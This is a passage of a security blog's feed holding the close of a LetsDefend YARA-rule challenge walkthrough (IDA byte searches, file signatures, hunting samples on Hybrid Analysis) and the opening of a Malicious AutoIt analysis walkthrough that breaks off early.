width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;To perform the analysis on the binary, we&amp;rsquo;re going to use &lt;a class=&#34;link&#34; href=&#34;https://hex-rays.com/ida-free&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;IDA&lt;/strong&gt;&lt;/a&gt;, a powerful disassembler that will let us peek into the code. Don&amp;rsquo;t worry, you don&amp;rsquo;t need to be a coding expert (&lt;em&gt;I&amp;rsquo;m definitely not!&lt;/em&gt;) to make use of the tool.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://hex-rays.com/ida-free&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;IDA&lt;/strong&gt;&lt;/a&gt; is already installed and available for use from the &lt;strong&gt;Tools folder&lt;/strong&gt; of the &lt;strong&gt;LetsDefend&lt;/strong&gt; analysis environment. Go ahead and launch it. Once it opens, drag the extracted sample into the window to load it using the default options.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;331px&#34; data-flex-grow=&#34;137&#34; height=&#34;580&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/e88a84ad5888221d4bb2c398ed30ea45_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The first thing we&amp;rsquo;ll do to find the answer is leverage IDA&amp;rsquo;s search function to look for the matching sequence of bytes. In the &lt;em&gt;Binary search&lt;/em&gt; window, paste the string we copied from the &lt;strong&gt;YARA&lt;/strong&gt; rule into the search box, select &lt;em&gt;find all occurrences&lt;/em&gt;, and press OK.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;323px&#34; data-flex-grow=&#34;134&#34; height=&#34;517&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/a537d7933007e2b433e5a811fd4fb8b8_MD5.png&#34; width=&#34;697&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Bingo! We found the information we&amp;rsquo;re looking for. The instruction stores the opcode in the &lt;code&gt;rax&lt;/code&gt; register.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;520px&#34; data-flex-grow=&#34;216&#34; height=&#34;369&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/7bd6101b1f1f6cb223968a56d696a169_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2313px&#34; data-flex-grow=&#34;963&#34; height=&#34;83&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/980463987adf82146559cca84f2f1863_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-address-that-we-can-find-with-hex-opcode-with-the-idatool&#34;&gt;Question 5: What is the address that we can find with $hex opcode with the IDA tool?&#xA;&lt;/h3&gt;&lt;p&gt;Our previous search also located the information needed for &lt;strong&gt;Question 5&lt;/strong&gt; under the &lt;em&gt;Address&lt;/em&gt; column, so we&amp;rsquo;re already halfway to the answer!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;520px&#34; data-flex-grow=&#34;216&#34; height=&#34;369&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/0b35a8ef6fe081170cd5931a6a94677a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Pay attention to the requested answer format: &lt;code&gt;0x0000&lt;/code&gt; — that doesn&amp;rsquo;t look exactly like what we see in &lt;strong&gt;IDA&lt;/strong&gt; does it?&lt;/p&gt;&#xA;&lt;p&gt;No problem! The question is looking for the &lt;strong&gt;hexadecimal notation,&lt;/strong&gt; so we just need to perform a simple conversion. Strip off the leading zeroes used for padding (it doesn&amp;rsquo;t change the value) and then add the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;0x&lt;/code&gt;,&amp;quot;&#xA;prefix to indicate that the number is in the hex format. For example, &lt;code&gt;0000000000003B51&lt;/code&gt; becomes &lt;code&gt;0x3B51&lt;/code&gt; .&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1761px&#34; data-flex-grow=&#34;733&#34; height=&#34;109&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/ac6860dd8d2192dd57b4273e6526f227_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-is-the-name-of-the-function-that-hascde2&#34;&gt;Question 6: What is the name of the function that has $cde2?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we have learned how to use the search function in &lt;strong&gt;IDA&lt;/strong&gt;, answering &lt;strong&gt;Question 6&lt;/strong&gt; is much more familiar. We&amp;rsquo;ll repeat the &lt;strong&gt;binary search&lt;/strong&gt; process like we did in &lt;strong&gt;Question 4&lt;/strong&gt;, but this time we&amp;rsquo;ll search for the string stored in the &lt;code&gt;$cde2&lt;/code&gt; variable of the &lt;strong&gt;YARA&lt;/strong&gt; rule.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;329px&#34; data-flex-grow=&#34;137&#34; height=&#34;582&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/252c81f6f5c0600d5bc5aa702087b931_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;317px&#34; data-flex-grow=&#34;132&#34; height=&#34;523&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/3ef82b1dbd72ebfb741bda0141d6fc79_MD5.png&#34; width=&#34;691&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This search will lead us to the function &lt;code&gt;start_routine&lt;/code&gt; in the results.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;524px&#34; data-flex-grow=&#34;218&#34; height=&#34;366&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/4b8324050a76a35f4694fefaca0ab84f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2042px&#34; data-flex-grow=&#34;851&#34; height=&#34;94&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/ec6c17767be77f47adc7d61f047f2f53_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-is-the-file-signature-in-the-yararule&#34;&gt;Question 7: What is the file signature in the YARA rule?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 7&lt;/strong&gt;, let&amp;rsquo;s jump back over to the &lt;strong&gt;YARA&lt;/strong&gt; rule and focus on the &lt;strong&gt;condition&lt;/strong&gt; section at the bottom to determine the file signature. In a &lt;strong&gt;YARA&lt;/strong&gt; rule, this section is where the logic of the rule is defined.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;331px&#34; data-flex-grow=&#34;137&#34; height=&#34;580&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/18a76fb24043192e6532bd0102757e0a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;What we&amp;rsquo;re looking for is the &lt;code&gt;uint32(0)&lt;/code&gt; value, which represents the file signature value of the binary. This condition identifies specific file types.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1669px&#34; data-flex-grow=&#34;695&#34; height=&#34;115&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/69ecb55cf44d6f9d39989ef2c7fef983_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-hunt-on-ahybrid-analysissite-with-yara-rules-what-is-the---&#34;&gt;Question 8: Hunt on a &lt;a class=&#34;link&#34; href=&#34;https://www.hybrid-analysis.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;hybrid-analysis&lt;/a&gt; site with Yara rules. What is the &amp;quot; # &amp;quot;&#xA;&lt;/h3&gt;&lt;p&gt;threat level&amp;quot;&#xA;of the sample timestamped September 1, 2022, 16:11:41 (UTC)?&lt;/p&gt;&#xA;&lt;p&gt;Okay, we&amp;rsquo;ve made it to the last question! For our final task, let&amp;rsquo;s gather some threat intelligence about the malware. While we could copy the &lt;code&gt;hash1&lt;/code&gt; value from the &lt;strong&gt;meta&lt;/strong&gt; section of the rule, let&amp;rsquo;s try something a bit different.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;331px&#34; data-flex-grow=&#34;137&#34; height=&#34;580&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/23f034ca61cb1e0945cec8aac3d0c09a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Navigate to the &lt;a class=&#34;link&#34; href=&#34;https://www.hybrid-analysis.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Hybrid Analysis&lt;/strong&gt;&lt;/a&gt; website, click the &lt;em&gt;Yara Search&lt;/em&gt; tab, then press &lt;em&gt;Advanced Search&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;250px&#34; data-flex-grow=&#34;104&#34; height=&#34;768&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/aa71c7df5b18b29d9e801235a5670d70_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Next, copy the rule from the &lt;strong&gt;LetsDefend&lt;/strong&gt; analysis environment, and paste it into the &lt;em&gt;Advanced Search (YARA)&lt;/em&gt; window.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;446px&#34; data-flex-grow=&#34;186&#34; height=&#34;430&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/91439ecdc2824182db52d990d2ffbcf0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now for the cool part! &lt;strong&gt;Hybrid Analysis&lt;/strong&gt; will hunt their submissions database and present samples matching the &lt;strong&gt;YARA&lt;/strong&gt; rule! This is a handy and flexible method for applying &lt;strong&gt;YARA&lt;/strong&gt; rules to hunt public submissions on &lt;strong&gt;Hybrid Analysis.&lt;/strong&gt; Once we retrieve the results, we need to match the date/time stamp requested in the question.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1280px&#34; data-flex-grow=&#34;533&#34; height=&#34;150&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/30af04ed47292b1402ef7abb345fe3ae_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.hybrid-analysis.com/yara-search/results/5d48cfcb207cbe9e9cfeefebc3284c5e05d6dbc433455bc2540e68b3c937b9bc&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.hybrid-analysis.com/yara-search/results/5d48cfcb207cbe9e9cfeefebc3284c5e05d6dbc433455bc2540e68b3c937b9bc&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Hybrid Analysis&lt;/strong&gt; has assessed the threat of this binary as &lt;strong&gt;malicious.&lt;/strong&gt; Awesome job navigating this challenge! Let&amp;rsquo;s wrap this up.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1828px&#34; data-flex-grow=&#34;761&#34; height=&#34;105&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/efd558ae915db6fadd961a009da6b96b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;There we have it! That was an excellent introduction to &lt;a class=&#34;link&#34; href=&#34;https://yara.readthedocs.io/en/stable/index.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;YARA Rules&lt;/strong&gt;&lt;/a&gt;. During this challenge, we manually analyzed a rule to understand who wrote it and what strings it searches for. Then, we dove into &lt;a class=&#34;link&#34; href=&#34;https://hex-rays.com/ida-free&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;IDA&lt;/strong&gt;&lt;/a&gt; to analyze the malware binary and confirm a match manually. Then, we leveraged the rule on &lt;a class=&#34;link&#34; href=&#34;https://www.hybrid-analysis.com&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Hybrid Analysis&lt;/strong&gt;&lt;/a&gt; to hunt for matching samples. With our objectives complete, let&amp;rsquo;s close out this walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/yara-rule&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;YARA Rule&lt;/strong&gt;&lt;/a&gt; challenge!&lt;/p&gt;&#xA;&lt;p&gt;Another big thank you to &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; for continuing to provide these engaging labs. I chose this challenge because, while I&amp;rsquo;ve been vaguely aware of &lt;strong&gt;YARA&lt;/strong&gt; rules, I&amp;rsquo;ve never had the occasion to use them in my day job. This was a great opportunity to learn more and start turning the gears on how these powerful rules can quickly identify threats — mission accomplished! I was pleasantly surprised that there was a reverse engineering component to this lab, as I hadn&amp;rsquo;t had a chance to try &lt;strong&gt;IDA&lt;/strong&gt; before— very cool! My favorite part was hunting on &lt;strong&gt;Hybrid Analysis&lt;/strong&gt; with the &lt;strong&gt;YARA&lt;/strong&gt; rule. I&amp;rsquo;ve visited that site countless times but never knew that feature existed. It just goes to show that in this field, you will learn a dozen new things a day.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for the support and going through this investigation with me. Remember, if you found this walkthrough helpful don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable and helps fuel my commitment to support your journey in the security community. Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-yara-rule-challenge-walkthrough/07670987b1c64247f60a1576b9626235_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;YARA GitHub:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://virustotal.github.io/yara/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://virustotal.github.io/yara/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;YARA Docs:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://yara.readthedocs.io/en/latest/writingrules.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://yara.readthedocs.io/en/latest/writingrules.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;IDA:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://hex-rays.com/ida-free&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://hex-rays.com/ida-free&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Hybrid Analysis:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.hybrid-analysis.com/yara-search/results/5d48cfcb207cbe9e9cfeefebc3284c5e05d6dbc433455bc2540e68b3c937b9bc&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.hybrid-analysis.com/yara-search/results/5d48cfcb207cbe9e9cfeefebc3284c5e05d6dbc433455bc2540e68b3c937b9bc&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — Malicious AutoIT Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/</link>
            <pubDate>Mon, 13 Jan 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — Malicious AutoIT Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend-malicious-autoit-challenge-walkthrough&#34;&gt;LetsDefend— Malicious AutoIT Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;a-malicious-script-analysis-challenge-using-detect-it-easy-autoit-ripper-and-notepad&#34;&gt;A malicious script analysis challenge using Detect It Easy, AutoIt-Ripper, and Notepad++&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;366&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; width=&#34;700&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/malicious-autoit&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/malicious-autoit&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Welcome to my weekly walkthrough!&lt;/strong&gt; If you&amp;rsquo;ve stumbled across this blog searching for a comprehensive walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/malicious-autoit&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Malicious AutoIT&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place.&lt;/p&gt;&#xA;&lt;p&gt;In this scenario, the SOC has detected malicious activity on an endpoint stemming from a suspicious executable. Our objective is to analyze the suspicious file, extract the script, and determine what it does.&lt;/p&gt;&#xA;&lt;p&gt;To do this, we&amp;rsquo;re going to leverage several tools including &lt;a class=&#34;link&#34; href=&#34;https://github.com/horsicq/Detect-It-Easy&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Detect It Easy&lt;/strong&gt;&lt;/a&gt;, a &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;powerful tool for file type identification,&amp;quot;&#xA; &lt;a class=&#34;link&#34; href=&#34;https://github.com/nazywam/AutoIt-Ripper&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;AutoIt Ripper&lt;/strong&gt;&lt;/a&gt; to extract the script contents, and trusty &lt;a class=&#34;link&#34; href=&#34;https://notepad-plus-plus.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Notepad++&lt;/strong&gt;&lt;/a&gt; for viewing the script contents.&lt;/p&gt;&#xA;&lt;p&gt;While this challenge is geared toward beginners, there are excellent learning opportunities for all skill levels, especially if you aren&amp;rsquo;t familiar with &lt;strong&gt;AutoIt&lt;/strong&gt;. Sounds like fun, right? Let&amp;rsquo;s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And hey, if you find this walkthrough helpful — whether it levels-up your skills, gets you through a stumbling block, or serves as a handy reference — please &lt;strong&gt;give it a clap&lt;/strong&gt;!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/malicious-autoit&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/malicious-autoit&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;&lt;em&gt;Our organization&amp;rsquo;s Security Operations Center (SOC) has detected suspicious activity related to an AutoIt script. Can you analyze this exe and help us answer the following questions?&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-is-the-md5-hash-of-the-samplefile&#34;&gt;Question 1: What is the MD5 hash of the sample file?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, let&amp;rsquo;s kick off our investigation by extracting the &lt;strong&gt;sample.7z&lt;/strong&gt; archive from the &lt;strong&gt;ChallengeFile&lt;/strong&gt; folder. This will leave us with the sample we need to analyze.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;547px&#34; data-flex-grow=&#34;227&#34; height=&#34;351&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/7f49c4966a627417bf4cc83eeb615ee4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Since we don&amp;rsquo;t have any information about this file or even what it is, we need to do some sleuthing. A great starting point is to use &lt;a class=&#34;link&#34; href=&#34;https://github.com/horsicq/Detect-It-Easy&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Detect It Easy (DIE)&lt;/strong&gt;&lt;/a&gt; to identify the file and perform some cursory analysis. Fortunately for us, this tool is already installed on the &lt;strong&gt;LetsDefend&lt;/strong&gt; analysis environment in the &lt;strong&gt;Tools&lt;/strong&gt; folder. Let&amp;rsquo;s go ahead and open it, then point it to the mysterious &lt;strong&gt;sample&lt;/strong&gt; file.&lt;/p&gt;&#xA;&lt;p&gt;Once &lt;strong&gt;DIE&lt;/strong&gt; is loaded and has parsed the sample, we can start to gather some information about the file. Notice something interesting in the &lt;strong&gt;PE32&lt;/strong&gt; info window: it shows that this executable is a compiled &lt;a class=&#34;link&#34; href=&#34;https://www.autoitscript.com/site/autoit/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;AutoIt&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;(3.XX)&lt;/strong&gt; script.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s get some background on &lt;a class=&#34;link&#34; href=&#34;https://www.autoitscript.com/site/autoit/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;AutoIt&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt; According to the project&amp;rsquo;s website:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;AutoIt v3 is a freeware BASIC-like scripting language designed for automating the Windows GUI and general scripting. It uses a combination of simulated keystrokes, mouse movement and window/control manipulation in order to automate tasks in a way not possible or reliable with other languages (e.g. VBScript and SendKeys).&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Scripts can be compiled into standalone executables&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Cool! That sounds extremely useful to a system administrator, but it might also be useful for a bad actor. We can confirm this by taking a look at the &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1059/010/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt;&lt;/a&gt; knowledge base, where we&amp;rsquo;ll find that abusing &lt;strong&gt;AutoIt&lt;/strong&gt; scripts is a known adversary technique (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1059/010/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;T1059.010&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;327px&#34; data-flex-grow=&#34;136&#34; height=&#34;587&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/bff0ff684c45f1cc798e81241f93eac9_MD5.png&#34; 